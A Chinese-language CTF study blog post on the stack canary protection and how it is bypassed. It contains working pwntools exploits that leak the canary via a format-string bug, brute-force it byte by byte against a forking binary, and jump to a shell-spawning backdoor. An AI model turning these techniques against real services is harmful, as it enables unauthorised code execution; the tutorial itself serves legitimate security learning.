canary保护机制以及解决方法 学习参考:https://blog.csdn.net/weixin_43713800/article/details/105273284
介绍 该词的来源 Canary原意为“金丝雀”,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
安全方面的运用 由上文我们就可以大概才出来,它可以对某种有害操作进行预警,从而终止程序的运行。具体来说,Canary这种保护机制主要针对的是栈溢出漏洞。
原理 简介 当启用Canary保护后,它会在栈底之前(不一定紧挨着栈底)插入一个Canary值
,一般是是一个随机生成的数字,32位是4字节,64位是8字节。在栈内存中,函数调用时会创建栈帧。栈帧包含了局部变量,返回地址等信息,同时包括Canary值,它被放在栈帧中靠近返回地址和局部变量的位置。在程序正常运行时,Canary值不会改变,但如果发生栈溢出,Canary值可能会改变,程序在关键操作(如函数返回)之前会检查Canary值是否被修改,一旦发现被修改,就会采取安全措施,如终止程序。
在GCC中使用Canary 1 2 3 4 5 -fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护 -fstack-protector-all 启用保护,为所有函数插入保护 -fstack-protector-strong -fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护 -fno-stack-protector 禁用保护
这些内容过于专业,以我现在的水平看不太懂,先写上,留给以后看
Canary保护栈的原理 1 2 3 4 5 6 7 8 9 10 11 12 高地址 | | +-------------------+ |参数 | +-------------------+ |返回地址 | +-------------------+ rbp--> |旧的rbp | +-------------------+ rbp-8--> |Canary 值 | +-------------------+ |局部变量 | 低地址 +-------------------+
当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x4 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:
1 2 mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax
1 2 3 4 5 这是对两个陌生名词的解释: 函数序言:是指是函数在被调用时,首先执行的一段指令序列。它主要用于函数调用的初始化工作,是编译器在生成目标代码时插入到函数开头的部分。主要任务有保存寄存器状态,分配栈空间,设置栈帧指针fs 寄存器:是x86架构下的一个段寄存器,S 寄存器常与通用寄存器如 EAX 、EBX 等配合使用,来实现对特定内存位置的数据访问和操作。
在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
1 2 3 4 mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7 <main+65> call 0x400460 <__stack_chk_fail@plt>
如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定。定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 eglibc-2.19 /debug/stack_chk_fail.cvoid __attribute__ ((noreturn )) __stack_chk_fail (void ) { __fortify_fail ("stack smashing detected" ); }void __attribute__ ((noreturn )) internal_function __fortify_fail (const char *msg) { while (1 ) __libc_message (2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ] ?: "<unknown>" ); }
但是这也意味着可以通过劫持__stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容
进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。
1 2 3 4 5 6 7 8 9 10 11 typedef struct { void *tcb; dtv_t *dtv; void *self; int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; ... } tcbhead_t ;
如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。 事实上,TLS 中的值由函数 security_init 进行初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 static void security_init (void ) { uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL ; }#define THREAD_SET_STACK_GUARD(value) \ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
绕过Canary保护 学习参考:https://blog.csdn.net/weixin_43713800/article/details/105273284
https://www.yuque.com/cyberangel/rg9gdm/kukf7u
Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用
泄露栈中的Canary Canary值设计以\x00
结尾(在最低位),本意是为了保证Canary可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。
我们接下来用一个实例来演示
先来查一下保护,32位,开启了NX和Canary保护
1 2 3 4 5 6 7 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes
运行一下
我们注意一下main
函数的开头和结尾的汇编
1 2 3 4 5 6 7 8 9 10 11 12 +---------------------开头的一部分------------------------+ .text:08048561 push ebp .text:08048562 mov ebp, esp .text:08048564 and esp, 0FFFFFFF0h .text:08048567 sub esp, 40h .text:0804856A mov eax, large gs:14h <-- .text:08048570 mov [esp+3Ch], eax +--------------------结尾的一部分-------------------------+ .text:080485E9 mov edx, [esp+3Ch] .text:080485ED xor edx, large gs:14h <-- .text:080485F4 jz short locret_80485FB .text:080485F6 call ___stack_chk_fail
这些汇编命令的出现也印证开启了Canary保护(真是一句废话),gs和fs都是x86的段寄存器,都可以这样用
看一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main (int argc, const char **argv, const char **envp) { char s[40 ]; unsigned int v5; v5 = __readgsdword(0x14u ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 1 , 0 ); gets(s); printf (s); <-- gets(s); <-- return 0 ; }
我们发现了格式化字符串漏洞,这意味着我们可以泄露栈上的数据,不光有这个,还有危险函数gets
同时,我们也发现了完整的后门函数system('/bin/sh')
这样我们就有了一个大概的思路:
首先,我我们需要找出Canary相对于格式化字符串的偏移,并打印出Canary的值
这是用gdb动调找Canay值的方法
1 2 3 4 5 6 7 8 9 ───────────────────────────[ STACK ]─────────────────────────────────00 :0000 │ esp 0xffffd11c —▸ 0x80485d8 (main+119 ) ◂— lea eax , [esp + 0x14 ]01 :0004 │-048 0xffffd120 —▸ 0xffffd134 ◂— 'aaaa' 02 :0008 │-044 0xffffd124 ◂— 0 03 :000c│-040 0xffffd128 ◂— 1 04 :0010 │-03c 0xffffd12c ◂— 0 05 :0014 │-038 0xffffd130 —▸ 0xf7fbe4a0 —▸ 0xf7d77000 ◂— 0x464c457f 06 :0018 │ eax 0xffffd134 ◂— 'aaaa' 07 :001c│-030 0xffffd138 —▸ 0xf7d8f400 ◂— 0x74656700
使用x/20wx 0xffffd120
命令打印内存中的值
1 2 3 4 5 6 pwndbg > x/20 wx 0 xffffd1200xffffd120 : 0 xffffd134 0 x00000000 0 x00000001 0 x000000000xffffd130 : 0 xf7fbe4a0 0 x61616161 0 xf7d8f400 0 xf7fbe4a00xffffd140 : 0 xffffd180 0 xf7fbe66c 0 xf7fbeb10 0 x000000010xffffd150 : 0 x00000001 0 x00000000 0 xf7fa1000 0 x2b5397000xffffd160 : 0 xffffd3eb 0 x00000070 0 xf7ffd020 0 xf7d98519
其中0xffffd134
是个储存格式化字符串内存的地址,从这个之后开始数,发现0x61616161
是第五个,所以我们确定格式化字符串的偏移量为5
然后我们在xor
处下断点,因为启用Canary保护之后,汇编代码中一个函数的开头和结尾都会出现xor
即异或操作,所以在这里下断点。因为xor
是汇编命令,不是函数,所以我们需要知道它的地址,在gdb中,先使用finish
步出printf
函数(下断点后运行,中断时一般自动步入该函数),再使用disassemble
命令显示反汇编,查看其地址。或者使用finish
步出后,看看反汇编窗口有没有xor
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0x80485d8 <main+119> lea eax, [esp + 0x14] EAX => 0xffffd134 ◂— 'aaaa' 0x80485dc <main+123> mov dword ptr [esp], eax [0xffffd120] <= 0xffffd134 ◂— 'aaaa' 0x80485df <main+126> call gets@plt <gets@plt> 0x80485e4 <main+131> mov eax, 0 EAX => 0 0x80485e9 <main+136> mov edx, dword ptr [esp + 0x3c] ► 0x80485ed <main+140> xor edx, dword ptr gs:[0x14] EDX => 0x2b539700 ^ 0x2b539700 0x80485f4 <main+147> je main+154 <main+154> 0x80485f6 <main+149> call __stack_chk_fail@plt <__stack_chk_fail@plt> 0x80485fb <main+154> leave 0x80485fc <main+155> ret 0x80485fd nop
我们可以看到,Canary的值储存在了edx寄存器中,因为再函数开头的Canary保护相应汇编指令中
1 2 .text:0804856A mov eax, large gs:14h <-- .text:08048570 mov [esp+3Ch], eax <--
我们得知[esp+3Ch]
是存放Canary的随即参数
我们查看寄存器的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 eax 0 x0 0 ecx 0 xf7fa29c0 -134600256 edx 0 x2b539700 726898432 ebx 0 xf7fa1000 -134606848 esp 0 xffffd120 0 xffffd120ebp 0 xffffd168 0 xffffd168esi 0 xffffd224 -11740 edi 0 xf7ffcb80 -134231168 eip 0 x80485ed 0 x80485ed <main+140 >eflags 0 x246 [ PF ZF IF ] cs 0 x23 35 ss 0 x2b 43 ds 0 x2b 43 es 0 x2b 43 fs 0 x0 0 gs 0 x63 99
然后再结合上面打印出来的内存
1 2 3 4 5 6 pwndbg > x/20 wx 0 xffffd1200xffffd120 : 0 xffffd134 0 x00000000 0 x00000001 0 x000000000xffffd130 : 0 xf7fbe4a0 0 x61616161 0 xf7d8f400 0 xf7fbe4a00xffffd140 : 0 xffffd180 0 xf7fbe66c 0 xf7fbeb10 0 x000000010xffffd150 : 0 x00000001 0 x00000000 0 xf7fa1000 0 x2b539700 <--0xffffd160 : 0 xffffd3eb 0 x00000070 0 xf7ffd020 0 xf7d98519
我们可以得知,Canary的偏移为15,所以我们只需要再第一次get
时发送%15$x
就会泄露出Canary的值
然后我们开始确定第一次的gets
到Canary的偏移,同时,我们知道v5
是用来储存Canary值的(为什么,看伪代码注释),打开IDA,查看栈
1 2 3 4 5 6 7 8 9 10 11 12 13 -0000000000000040 // Use data definition commands to manipulate stack variables and arguments. -0000000000000040 // Frame size: 40; Saved regs: 4; Purge: 0 -0000000000000040 ……-000000000000002C char s; <-- ……-0000000000000004 _DWORD var_4; <-- +0000000000000000 _DWORD __saved_registers; +0000000000000004 _UNKNOWN *__return_address; +0000000000000008 int argc; +000000000000000C const char **argv; +0000000000000010 const char **envp; +0000000000000014
二者距离EBP的距离相减即为数组s到Canary的距离,为40字节
然后确定Canary到EBP的偏移,用上面在xor
下断点后的gdb调试页面
1 2 3 4 5 6 7 8 9 *EAX 0 EBX 0xf7fa1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac *ECX 0xf7fa29c0 (_IO_stdfile_0_lock) ◂— 0 *EDX 0x2b539700 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0xffffd224 —▸ 0xffffd3eb ◂— '/home/xyq/test/binary_200' EBP 0xffffd168 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0 ESP 0xffffd120 —▸ 0xffffd134 ◂— 0x61616100 *EIP 0x80485ed (main+140 ) ◂— xor edx , dword ptr gs :[0x14 ]
这里已经有了ESP,EBP的地址,我们就可以算出v5 = ESP + 0x3C = 0xffffD15C,v5距离EBP的偏移量为EBP-v5为12字节
接下来,我们就可以构建EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * p = process('./binary_200' ) system_addr = 0x0804854d p.sendline('%15$x' ) Canary = int (p.recv().decode('utf-8' ), 16 )print (hex (Canary)) payload = b'A' * 40 + p32(Canary) + b'A' * 12 + p32(system_addr)print (hex (len (payload)))print (payload) p.sendline(payload) p.interactive()
以下方法为进阶方法,学习参考:https://blog.csdn.net/weixin_43713800/article/details/105273284
one-by-one爆破Canary 学习参考:https://www.yuque.com/cyberangel/rg9gdm/cx5zci#
32位的Canary值一般放在edp - 0xc
,这个不紧邻栈底,64位一般在rbp-0x8
,与栈底相邻。不同编译器情况可能不同
对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 print "[+] Brute forcing stack canary " start = len (p) stop = len (p)+8 while len (p) < stop: for i in xrange(0 ,256 ): res = send2server(p + chr (i)) if res != "" : p = p + chr (i) break if i == 255 : print "[-] Exploit failed" sys.exit(-1 ) canary = p[stop:start-1 :-1 ].encode("hex" )print " [+] SSP value is 0x%s" % canary
关于为什么可以一字节一字节地爆破,网上地说法是,除最低字节外,从次低字节开始,往上爆破,只要正确,就不会报错。
实例 查一下保护,32位程序,开启了NX保护,Canary保护
1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
看一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { __pid_t v3; init(); while ( 1 ) { v3 = fork(); if ( v3 < 0 ) break ; if ( v3 ) { wait(0 ); } else { puts ("welcome" ); fun(); puts ("recv sucess" ); } } puts ("fork error" ); exit (0 ); }
我们解释一下这段代码
**v3 = fork();
**在每次循环中都会调用 fork
系统调用创建一个新的进程,和前面介绍的一样,fork
会创建出子进程,并且在父进程和子进程中分别返回不同的值(父进程返回子进程 ID,子进程返回 0),然后将返回值赋给 v3
变量。
**if (v3 < 0)
**如果 v3
的值小于 0,说明 fork
系统调用失败了(可能由于系统资源不足等原因无法创建新进程),此时执行 break
语句跳出 while
循环。
**if (v3)
**如果 v3
的值不为 0(也就是在父进程中,因为父进程中 fork
返回的是子进程的 ID,大于 0),会调用 wait(0)
函数。wait
函数用于让父进程阻塞等待,直到它的某个子进程结束运行,参数 0
表示等待任意子进程结束,并且获取子进程的退出状态等相关信息
当 v3
的值为 0 时,也就是在子进程中,会依次执行以下操作
在上面我们可以看到,mian
函数中存在fork
函数,这是我们爆破Canary的关键
我看来看fun
函数
1 2 3 4 5 6 7 8 9 unsigned int fun () { _BYTE buf[100 ]; unsigned int v2; v2 = __readgsdword(0x14u ); read(0 , buf, 0x78u ); return __readgsdword(0x14u ) ^ v2; }
我们发现read(0, &buf, 0x78u);通过对栈段进行查看,我们可以输入0x78的内容,但是buf的空间为:0x70-0xC=0x64,很明显可以发生栈溢出覆盖其他变量。其中v2就是保存Canary的变量。
所以我们的思路是一位一位的来爆破Canary,详细点来说使用栈溢出填充垃圾字符直到Canary,然后再尝试填充我们的Canary。若Canary正确,则进行下一位的爆破;若Canary错误,程序会执行fork重新运行。
下面是爆破Canary的通用模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import * context.log_level = 'debug' context(arch='i386' , os='linux' ) context.terminal = ['gnome-terminal' , '-x' , 'bash' , '-c' ] local = 1 elf = ELF('./bin1' )if local: p = process('./bin1' ) else : p = remote('' ,) libc = ELF('./' ) p.recvuntil(b'welcome\n' ) canary = b'\x00' for k in range (3 ): for i in range (256 ): print ("正在爆破Canary的第{}位" .format (k + 1 )) print ("当前的字符为{}" .format (chr (i))) payload = b'a' * 100 + canary + bytes ([i]) print ("当前payload为:" , payload) p.send(payload) data = p.recvuntil(b'welcome\n' ) print (data) if b"sucess" in data: canary += bytes ([i]) print ("Canary is: " , canary) break
其中:
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']
:配置在调试等情况下要启动的终端相关参数,这里指定了如果需要启动终端时使用 gnome-terminal
,并传递一些参数来执行命令(-x
表示后面跟着要执行的命令,这里是 bash -c
,即启动一个 bash
子进程并执行后续的命令),通常是为了方便在利用过程中使用 gdb
等调试工具能在合适的终端环境下启动。
以下是本题的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * context.log_level = 'debug' context(arch='i386' , os='linux' ) context.terminal = ['gnome-terminal' , '-x' , 'bash' , '-c' ] local = 1 elf = ELF('./bin1' )if local: p = process('./bin1' ) else : p = remote('' ,) libc = ELF('./' ) p.recvuntil(b'welcome\n' ) canary = b'\x00' for k in range (3 ): for i in range (256 ): print ("正在爆破Canary的第{}位" .format (k + 1 )) print ("当前的字符为{}" .format (chr (i))) payload = b'a' * 100 + canary + bytes ([i]) print ("当前payload为:" , payload) p.send(payload) data = p.recvuntil(b'welcome\n' ) print (data) if b"sucess" in data: canary += bytes ([i]) print ("Canary is: " , canary) break addr = 0x0804863B payload = 'A' * 100 + canary + 'A' * 12 + p32(addr) p.send(payload) p.interactive()
劫持__stack_chk_fail 函数 已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数,__stack_chk_failed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。
参见 ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再进行 ROP 利用